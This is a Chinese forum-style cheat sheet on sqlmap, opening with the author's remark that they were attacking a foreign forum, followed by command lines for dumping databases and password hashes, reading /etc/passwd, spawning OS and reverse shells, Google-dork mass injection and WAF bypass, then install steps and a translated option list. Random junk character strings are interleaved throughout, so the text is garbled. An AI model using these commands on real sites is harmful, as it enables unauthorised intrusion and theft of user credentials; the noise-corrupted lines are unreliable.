今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
" T/ h/ ~' J0 p, t5 D+ e+ I; ssqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
, ]7 a& m- F( `: I6 P& r& Isqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名, f% x2 W# d* k+ Q. p
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段% U% Z9 j* U7 e
# E, T; n7 E3 i- Z
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
: y; b- |% g, R F' g6 ?0 #获取字段内容# p+ g: r4 d9 b1 C0 B- T, t U
+ b$ m: P6 Q0 Y# v* E+ n2 ~******************信息获取******************
, `2 s6 ]" p8 u9 J, ]sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型0 G7 o m1 ]( d0 ?2 N# }
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
7 K- x: H& j [& p! K6 F6 s, w$ U% bsqlmap -u “http://url/news?id=1″ –dbs#列数据库1 W! L+ ^: x6 F2 Y/ V
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码6 y( V, U* t {* D Y1 l' [
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码: h/ y% u# i3 {/ B/ ~
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”1 l( O4 M/ H+ w- r I( z
–start 1 –stop 20 #列出指定字段,列出20 条% y# g5 i5 b/ J2 u8 L* l8 h! x; k) l, M
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
, {; k, E' c4 o$ Ksqlmap -u “http://url/news?id=1″ –privileges #查看权限* `$ Q- r, Q' C X O4 t f
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
( M3 P& T3 K j4 q1 D0 b( Bsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
5 K9 G4 X a/ P- hsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
% }7 x- W0 _& B- U' E) [sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
2 e/ f6 n6 K" @6 b8 J; E6 ~sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入4 r( x& P M1 a! S2 f- T: P/ J+ g
sqlmap -u “http://url/news?id=1″-b #获取banner信息9 \7 O" ~5 o1 H; Z
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入' d+ j2 x2 u$ q4 P [9 T
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型9 h- g4 O4 T/ ^
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
& G2 q* p8 D- f* \% v! w2 a% Rsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词. q/ _) \2 Q! R% [2 q
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
! v5 s2 b2 y9 v( xsqlmap -u “http://url/news?id=1″ –file /etc/passwd9 r# v# K. z( }6 |" K
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
) y7 _9 J' G* `! bsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell6 U+ Q$ i1 y4 z5 y
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表9 G1 y8 r: P. c* {
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
. f9 r0 p) [4 \ g) |' E0 z! w8 vsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度% m1 n7 |; a$ D
***********高级用法*************
9 x; ]& S/ Y$ m) K-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
. B a( f' ?: a+ k; ^4 \sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问. M( G: e, p5 B: g) x6 V
–technique 测试指定注入类型\使用的技术
2 J9 @3 N7 w, H8 J: e. |$ T/ k不加参数默认测试所有注入技术
, \& v) s0 `3 H7 W' {7 _% T• B: 基于布尔的SQL 盲注# _% ]: I9 V7 E& f
• E: 基于显错sql 注入
" d+ @4 ] Q. N* e- L• U: 基于UNION 注入
. [8 l; V; U% D6 F" c4 B( O" t• S: 叠层sql 注入% Y: X6 x" f! P$ N$ ^8 H2 Z
• T: 基于时间盲注6 K1 P7 D: q1 t% ?
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
; S' |+ V& R+ @4 E" Z' N! T2 _–tamper 插件所在目录
4 u$ A; a0 P2 A\sqlmap-dev\tamper
3 H& r3 n: i! J# f4 Q% Ysqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能1 ]9 c+ K* c' W8 U
level 执行测试等级 攻击实例:
3 u0 v$ w6 T; D9 ~. i' @Sqlmap -u “http://url/news?id=1&Submit=Submit”/ }' E% {" T2 A4 ?/ R
–cookie=”PHPSESSID=41aa833e6d0d
0 j! O) X9 f t& o5 m28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
6 I+ s8 q7 U- A; D) \–password0 Y1 n' n5 B# D% F
参考文档:http://sqlmap.sourceforge.net/doc/README.html" V, b4 `, C! c" R* O4 W0 s* o
***********安装最新版本*************
3 O. u4 f' C0 O1 nubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版2 |0 S! A# Y0 }( [: E% y
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
8 d' T6 {- g( \6 l+ C0 ~3 F0 n s3 a+ A安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
9 o$ h& s: I( @sudo vim /home/当前用户/.bashrc9 }/ q% b4 M3 ^3 h* x
#任意位置加上:
- {4 u3 r' i: g; S: g. X+ Q2 }3 b& aalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
8 O A; u" r; r如果想对所有用户有效 可设置全局 编辑下面的文件7 t$ M& e3 B" [& x7 T( }3 h
vim /etc/profile
4 S- f* w* b9 C* X4 ]/ |6 y同样加上:
& Q5 N) |# a6 Galias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
0 h! \- ~' I$ Y8 `4 P' n******************windows 7 (x64) sqlmap install (SVN)************
* E+ f+ s( K" Q, Qhttp://www.python.org/getit/ 安装python2 e4 r4 J: P5 H8 @: Z! |
http://www.sliksvn.com/en/download 安装windows svn client
$ ~5 y* R# R4 ?0 Vsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
: D+ w" t v) V9 D$ l4 n安装sqlmap4 z; K; m; {" U
*修改环境变量
( i: O! S; F8 G: @$ I \$ z$ e–version 显示程序的版本号并退出: ?* m } I& Y
-h, –help 显示此帮助消息并退出
, j6 p; E1 j7 k6 K M+ h+ | Z- ~. L-v VERBOSE 详细级别:0-6(默认为1)5 l- E/ ^- {2 U
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
- ^5 H/ t' h* _* n-d DIRECT 直接连接到数据库。5 h! w: K* ?- j/ ?/ o! m
-u URL, –url=URL 目标URL。
+ E4 \, @# j" ?( n+ } x* K M' g: V-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
8 V* F" A( V) X- s-r REQUESTFILE 从一个文件中载入HTTP 请求。
, ?% U$ O3 T6 `" A8 k! Z: h3 F2 v-g GOOGLEDORK 处理Google dork 的结果作为目标URL。3 M2 T3 _% c5 a9 y7 p& j
-c CONFIGFILE 从INI 配置文件中加载选项。) x! ]( @' j: x5 U
Request(请求)::
' U' O3 |: ~3 v; q& c4 d$ J, d这些选项可以用来指定如何连接到目标URL。
# d1 d# d0 ^. K7 Q) X0 Z–data=DATA 通过POST 发送的数据字符串4 O2 i9 m1 r F7 S
–cookie=COOKIE HTTP Cookie 头 v/ h! ~5 ~* t5 s8 D- a; {
–cookie-urlencode URL 编码生成的cookie 注入
- K9 c6 D; W( d( C4 t- k1 J–drop-set-cookie 忽略响应的Set –Cookie 头信息
. ^# M. S# t3 e! h% z1 z
; |6 N; l) W$ d& ` z8 F–user-agent=AGENT 指定 HTTP User –Agent 头
) ]4 K1 P1 t. x4 o–random-agent 使用随机选定的HTTP User –Agent 头
. D+ C; f9 P: e6 ~–referer=REFERER 指定 HTTP Referer 头9 x5 {- p+ H/ w0 B! G! m/ g
–headers=HEADERS 换行分开,加入其他的HTTP 头
& Y7 W5 F; P( y8 ^5 n$ x2 h8 G–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)+ F) a8 a; t6 C& e4 n
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
! p: ?: P. J0 T5 C% ^6 k–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)6 N/ @1 ~3 F8 k; Z8 o; s
–proxy=PROXY 使用HTTP 代理连接到目标URL2 ?3 G. B7 J% X. A
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码). U) A5 E' A9 t; N
–ignore-proxy 忽略系统默认的HTTP 代理3 P$ d& b6 ?, F* t+ N7 _3 U7 p
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
* Z! T& f k/ S–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
$ g* e A3 f) n) b& V" {–retries=RETRIES 连接超时后重新连接的时间(默认3): o8 T+ \* g; C/ D. j0 c
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
# g4 z0 c# x3 N–safe-url=SAFURL 在测试过程中经常访问的url 地址 p1 S+ m, u; o& E$ m
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
, s; \7 q) I1 M1 mOptimization(优化): 这些选项可用于优化SqlMap 的性能。2 g9 O. M' A: U
-o 开启所有优化开关8 p6 Z8 m9 J( }$ T1 v& {* T2 J( T
–predict-output 预测常见的查询输出; @+ w$ d6 f: [
–keep-alive 使用持久的HTTP(S)连接
4 o; ], W) c+ Q- X5 a9 @–null-connection 从没有实际的HTTP 响应体中检索页面长度
8 y: q# H; j$ Z–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
! Z- S% W, I% I4 `3 k k8 l( GInjection(注入):2 ?" X- P6 a ^ Z: L
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
8 b) _1 K! w- C-p TESTPARAMETER 可测试的参数(S)
( [, ?) ] w) ?–dbms=DBMS 强制后端的DBMS 为此值! U5 Y1 M. h& z* n1 j
–os=OS 强制后端的DBMS 操作系统为这个值
) z4 ~, a R) T+ S( ?0 A–prefix=PREFIX 注入payload 字符串前缀. o/ G) Q1 C& Y3 K. g3 N
–suffix=SUFFIX 注入 payload 字符串后缀
2 ?$ K, `% u8 L6 y6 x2 H–tamper=TAMPER 使用给定的脚本(S)篡改注入数据: F6 T: F t( H6 L' v" L: I
Detection(检测): B2 j+ X) z8 X8 W1 N, a2 C. v3 X
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
+ A! u5 `! Q" s$ w/ ?8 i) A) b–level=LEVEL 执行测试的等级(1-5,默认为1)! E1 q" n9 c6 @
–risk=RISK 执行测试的风险(0-3,默认为1)
; z3 Y! \( }& D- Y' j/ l–string=STRING 查询时有效时在页面匹配字符串
/ ~/ K5 ~& m- a! {* D7 `: S7 W–regexp=REGEXP 查询时有效时在页面匹配正则表达式
) L$ h3 p' ^9 u# R9 S! A f–text-only 仅基于在文本内容比较网页
; X4 z2 W+ P( c$ \4 fTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。2 k O% g% D( v. C8 [; o6 P
–technique=TECH SQL 注入技术测试(默认BEUST)1 d7 `, ?; U6 o# S8 L3 s6 X8 Z
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
: p* A2 P: z& @3 p( e–union-cols=UCOLS 定列范围用于测试UNION 查询注入4 O" u7 U! L& d x- J
–union-char=UCHAR 用于暴力猜解列数的字符) ~( z/ ]3 b) i6 D! h* l- f
Fingerprint(指纹):4 t8 e, K; ~% ?! K
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
4 ]% C B: l3 {" @! HEnumeration(枚举):
5 X0 H; d. [$ j9 x* m5 o! [0 i: ?# y 7 y! i# P; O5 x4 ^, F6 p5 ^
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
1 {0 ^* \# ^% H8 C4 q-b, –banner 检索数据库管理系统的标识( p- J0 O# H) H8 Y2 ~& F, n
–current-user 检索数据库管理系统当前用户: |4 W: P7 s; Z \
–current-db 检索数据库管理系统当前数据库% h* P& `# Y/ B9 M
–is-dba 检测DBMS 当前用户是否DBA* j- ~- v8 g+ `: `+ i: U
–users 枚举数据库管理系统用户
+ B) C/ z- |0 |! C( P# K( @–passwords 枚举数据库管理系统用户密码哈希! p: ^: P* r: m
–privileges 枚举数据库管理系统用户的权限
7 {7 J9 w4 {: y4 |% S–roles 枚举数据库管理系统用户的角色9 J& @6 V+ I9 H
–dbs 枚举数据库管理系统数据库! { ?, T% F- N0 W& J$ O- I0 b& M
–tables 枚举的DBMS 数据库中的表
3 ~- T d* H# p–columns 枚举DBMS 数据库表列
) U, y4 x L' H9 y–dump 转储数据库管理系统的数据库中的表项# z- f; @9 u$ q
–dump-all 转储所有的DBMS 数据库表中的条目
. A: ^8 y x/ Y+ ]) ~+ p–search 搜索列(S),表(S)和/或数据库名称(S). f) V5 z$ z) s5 R* o
-D DB 要进行枚举的数据库名
. n5 ]* j+ p/ g Y& i N+ }-T TBL 要进行枚举的数据库表
$ ] p0 T* g4 J o$ y-C COL 要进行枚举的数据库列+ i! M& S! }1 C# B- I
-U USER 用来进行枚举的数据库用户
4 p5 s }& B) a/ E–exclude-sysdbs 枚举表时排除系统数据库) ]* B% {7 n1 w- s
–start=LIMITSTART 第一个查询输出进入检索
" ~! p; e6 c" r6 @) }# k–stop=LIMITSTOP 最后查询的输出进入检索/ i/ l8 W9 U3 S
–first=FIRSTCHAR 第一个查询输出字的字符检索% Q: t( g* q5 I) e
–last=LASTCHAR 最后查询的输出字字符检索
6 i+ i! F/ ]3 A; Y–sql-query=QUERY 要执行的SQL 语句
6 M: c' ^- F; r9 M+ ?–sql-shell 提示交互式SQL 的shell) @( m5 ~% |- p" X% N* |
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。. T" m& h1 h9 ~& o2 O2 O5 W
–common-tables 检查存在共同表
3 u7 N1 c' t0 k$ b" f–common-columns 检查存在共同列6 S$ N4 p1 U3 d$ c/ y
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
' \* y+ V) Z- V4 ~5 J5 Q" Y0 X+ A–udf-inject 注入用户自定义函数
# ^5 }+ |3 O. n3 i/ c–shared-lib=SHLIB 共享库的本地路径
% g' z1 p* _2 L( _' aFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。* z1 ?0 Y. s" P
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
) J6 b. z+ K2 v |$ @–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
4 Q0 I" _$ u( M" n. f$ u–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
! J% ~; j0 y- ~( y' @Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。: I* t% U, ?% ?; k- F) P& k T
–os-cmd=OSCMD 执行操作系统命令
3 S* v$ M% \9 B5 o–os-shell 交互式的操作系统的shell3 i/ f4 [9 f- S4 A: j2 I! |# w- C
–os-pwn 获取一个OOB shell,meterpreter 或VNC) d: h' h8 J# x/ {; ]; |
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC8 a2 e, O& O+ Z3 Q/ N# A! ^# Y: S
–os-bof 存储过程缓冲区溢出利用2 {" Q4 r; f+ T2 i4 C9 r
–priv-esc 数据库进程用户权限提升0 C; K& U+ Y, F8 ^ x
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
1 k9 d: R& O6 p1 \5 Q–tmp-path=TMPPATH 远程临时文件目录的绝对路径* l: v' n# S& I' r
|1 h2 A+ E/ `8 J! n8 h: XWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
" i1 G. E0 q$ v0 v: V–reg-read 读一个Windows 注册表项值
% \3 W* x/ u7 t. \5 o# l–reg-add 写一个Windows 注册表项值数据( W Q& E7 h) S8 L% @* s- s
–reg-del 删除Windows 注册表键值
3 F) R7 \" r* G–reg-key=REGKEY Windows 注册表键
) C, z8 h* [) o1 B, {: s2 y–reg-value=REGVAL Windows 注册表项值/ Y* e" J8 e4 d' c2 k4 \. a
–reg-data=REGDATA Windows 注册表键值数据
, O- A4 q$ u: f3 e4 m–reg-type=REGTYPE Windows 注册表项值类型
9 o+ O @2 `% {$ OGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
! S0 \, M. b# {! V: O-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中& f% f) ^' v: m; F# w6 c% u/ z
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
" X2 g! k% O$ F; B9 A) M. O3 ?9 m) R–flush-session 刷新当前目标的会话文件
* d2 \: L) ] f2 l/ |! z6 l–fresh-queries 忽略在会话文件中存储的查询结果
) |. z: n3 b' [7 ]5 C# E–eta 显示每个输出的预计到达时间" P' Z, f1 f3 ?$ ?, p# F# @ O% {, z
–update 更新SqlMap
, p0 Z2 I9 f5 @* b& H& G–save file 保存选项到INI 配置文件* { O$ d, c. n" _ y% W! k
–batch 从不询问用户输入,使用所有默认配置。
. d% {: y9 ~1 s3 j5 `+ xMiscellaneous(杂项):8 r6 d( d# t, D' P1 J$ d
–beep 发现SQL 注入时提醒
; D+ T( Z2 W: Q0 A–check-payload IDS 对注入payloads 的检测测试; Z" W w4 K d- O8 R/ K; }( _( A
–cleanup SqlMap 具体的UDF 和表清理DBMS
( Q9 b+ w" J4 L+ j: ]5 z5 w–forms 对目标URL 的解析和测试形式' d- a4 l2 s. N; E
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
8 C, d8 X" C& I–page-rank Google dork 结果显示网页排名(PR)
2 r* g# e* D2 Q; p–parse-errors 从响应页面解析数据库管理系统的错误消息/ d& F, U7 e2 ]* @: W' D- |2 U# ~
–replicate 复制转储的数据到一个sqlite3 数据库3 a1 _6 x2 o6 o1 u4 l
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
6 G/ U9 h+ M+ n- R7 ]3 k) o–wizard 给初级用户的简单向导界面 |